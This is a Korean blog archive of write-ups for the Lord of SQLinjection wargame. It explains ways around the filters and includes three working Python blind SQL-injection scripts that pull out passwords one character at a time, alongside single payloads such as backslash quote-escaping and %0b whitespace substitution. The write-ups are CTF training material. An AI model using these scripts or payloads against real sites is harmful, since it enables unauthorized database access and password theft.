LOS(los.rubiya.kr) Succubus

 음.. 이번 문제는 뭐랄까 정말 감탄스러운 문제입니다. 조건문을 참으로 만들면 패스되는 문제인데 싱글 쿼터가 필터링 됩니다. 이것저것 다 해보다가 진짜 모르겠어서 롸업을 봤는데 \ 문자를 넣어서 id='\' and pw=''가 되게 만드는 풀이가 있었습니다. 처음엔 어리둥절했는데.. 저걸 구분하기 쉽게 색깔로 표현하자면 id='\' and pw='' 저 주황색 친구들이 전부 id에 들어가는 문자열이 되는겁니다. 그럼 pw에 입력되는 값은 이렇게 id='\' and pw='AAAA' 들어갑니다. 그래서 아래 처럼 or문과 1을 이용해 오른쪽을 참으로 만들어주면 끝

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) Assassin
 LIKE의 특징을 이용하여 푸는 문제입니다. LIKE는 다음과 같이 패턴 형식 검사가 가능합니다. %A, %A%, A% 순서대로 ~~~A, ~~A~~, A~~~에 해당합니다. 이를 이용해서 0~9, a-z, A-Z까지 검사하여 패턴 검사를 통해 비밀번호를 추출해냅니다.
아래 정답 화면을 예로 들면 9%, 90%, 902%, 902E%... 식으로 나오겠죠?

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Succubus  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) Giant

 이번엔 매우 간단한 문제입니다. from과 prob_giant가 붙어 있는걸 떨어지게 만들면되는데 공백문자, 개행 등 필터링이 되는 문자가 존재하고 입력된 shit인자값의 길이가 2이상이면 필터링됩니다. 그러니까 공백문자를 대체할 1바이트의 문자가 필요한데 기존에 사용하던 %09의 경우 \t로 필터링됩니다. 그래서 아스키코드표를 보며 몇가지 테스트한 결과 %0b, %0c가 매우 잘 먹힌다는것을 확인했습니다. 둘 다 예전에 쓰던 친구들이라는데.. 정확한 정보는 찾기가 어렵네요.

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Succubus  (0) 2019.08.26
[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26

LOS(los.rubiya.kr) bugbear

 Blind SQLi 인데 파라미터가 하나 더 추가 됐고 필터링도 조금 추가됐습니다. 여기서 좀 고생을 했는데.. 기존엔 계속 id='admin'을 쓰다가 필터링으로 인해 그걸 쓰지 못해서 어떻게 해야하나 고민하느라 시간이 좀 걸렸습니다. 일단 no로 admin을 특정할 수 있는데 =도 안되고 like도 안됩니다. ㅠㅠ 그래서 비교연산자(<, >)를 이용해서 풀었습니다. 예를들면 no=2가 admin인데 no>1 && no<3 이런식으로 no=2를 지정했습니다. length와 mid도 마찬가지.

...더보기
import urllib2
import requests

flag = ""
length = 0
i = 1

session = dict(PHPSESSID = "qt55vvaetoc7mrikuq8qjmopr5")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw="
while True:
    q = url + "1&no=1||no>1%26%26no<3%26%26length(pw)>"+str(i-1)+"%26%26length(pw)<"+str(i+1)+"%23"
    print 'TEST #',i
    print q
    r = requests.post(q, cookies=session)
    if "Hello admin" in r.text:
        length = i
        break

    i = i + 1

print " PASSWORD LENGTH : ", length

for j in range(1, length +1):
    for i in range(48,123):
        q = url + "1&no=1||no>1%26%26no<3%26%26mid(pw,"+str(j)+",1)>"+"\""+chr(i-1)+"\"%26%26mid(pw,"+str(j)+",1)<"+"\""+chr(i+1)+"\"%23"

        print 'TEST #', j, '-', i
        print q
        r = requests.post(q,cookies=session)

        if 'Hello admin' in r.text:
            flag += chr(i)
            print "FLAG : ",flag
            break

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18

LOS(los.rubiya.kr) Darkknight

 이번 문제도 Blind SQLi 문제 다만 필터링이 조금 더 생겼다. 기존에 풀던 스크립트에 영향을 주는건 싱글 쿼터(')를 못쓴다는건데 이는 간단하게 더블 쿼터(")로 대체할 수 있다. 그것 외에는 그냥 기존 스크립트 그대로 사용해도 된다.

...더보기
import urllib2
import requests

flag = ""
length = 0
i = 1

session = dict(PHPSESSID = "qt55vvaetoc7mrikuq8qjmopr5")
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php??pw="
while True:
    q = url + "1&no=1 || id like \"admin\"%26%26 length(pw) like "+str(i)+"%23"
    print 'TEST #',i
    print q
    r = requests.post(q, cookies=session)
    if 'Hello admin' in r.text:
        length = i
        break

    i = i + 1

print " PASSWORD LENGTH : ", length

for j in range(1, length +1):
    for i in range(48,123):
        q = url + "1&no=1 || id like \"admin\"%26%26mid(pw, "+str(j)+",1) like "+"\""+chr(i)+"\""+"%23"

        print 'TEST #', j, '-', i
        print q
        r = requests.post(q,cookies=session)

        if 'Hello admin' in r.text:
            flag += chr(i)
            print "FLAG : ",flag
            break

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18
[Lord of SQLinjection] Vampire  (0) 2019.08.18

LOS(los.rubiya.kr) golem

 Blind SQLi 문제이고 몇가지 필터가 걸려있다. 해당 필터를 우회하면 되는데 or는 ||로 and는 %26%26(&&)로 =는 LIKE를 이용하면 되고 substr같은 경우 mid함수를 이용하면 된다. 기존에 썼던 Blind SQLi 스크립트를 그대로 가져와서 살짝 수정해주면 슥삭 풀린다.

...더보기
import urllib2
import requests

flag = ""
length = 0
i = 1

session = dict(PHPSESSID = "0cm1on9va40u9bbtmk9lrr5ghn")
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="
while True:
    q = url + "' || id like 'admin'%26%26 length(pw) like "+str(i)+"%23"
    print 'TEST #',i
    print q
    r = requests.post(q, cookies=session)
    if 'Hello admin' in r.text:
        length = i
        break

    i = i + 1

print " PASSWORD LENGTH : ", length

for j in range(1, length +1):
    for i in range(48,123):
        q = url + "'||id like 'admin'%26%26mid(pw, "+str(j)+",1) like "+"'"+chr(i)+"'"+"%23"

        print 'TEST #', j, '-', i
        print q
        r = requests.post(q,cookies=session)

        if 'Hello admin' in r.text:
            flag += chr(i)
            print "FLAG : ",flag
            break

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Bugbear  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18
[Lord of SQLinjection] Vampire  (0) 2019.08.18
[Lord of SQLInjection] Troll  (0) 2019.08.18

LOS(los.eagle-jump.org) Skeleton
 조건을 참으로 맞춰주면 끝나는 문제입니다. 다만 뒤에 and 1=0이 있어서 조건을 참으로 맞추지 못하게 방해하고 있습니다. 일단 pw에 공백 혹은 이상한 값을 넣어줘서 앞에 조건문을 거짓으로 만들어주고 or id='admin'을 넣어줍니다. 그리고 무슨 값을 넣어도 and 1=0 때문에 계속 거짓이 뜨는데 그냥 주석(#, %23)을 넣어서 id='admin' 뒷부분을 날려줍니다. 

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Vampire  (0) 2019.08.18
[Lord of SQLInjection] Troll  (0) 2019.08.18
[Lord of SQLInjection] Orge  (0) 2019.08.18

LOS(los.eagle-jump.org) Vampire
 이번 문제는 str_replace를 이용해서 admin값이 들어오면 없애버리는(?) 필터링을 걸어놨습니다. 처음엔 adminadmin을 입력해서 앞에 admin을 삭제시키고 뒤에 admin이 들어가나 했지만 둘다 필터링되었고 str_replace가 대/소문자 구분을 한다는 점과 select가 대/소문자 구분을 하지 않는 다는 점을 다시 한번 이용해서 풀었습니다.

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18
[Lord of SQLInjection] Troll  (0) 2019.08.18
[Lord of SQLInjection] Orge  (0) 2019.08.18
[Lord of SQLInjection] Darkelf  (0) 2019.08.18

+ Recent posts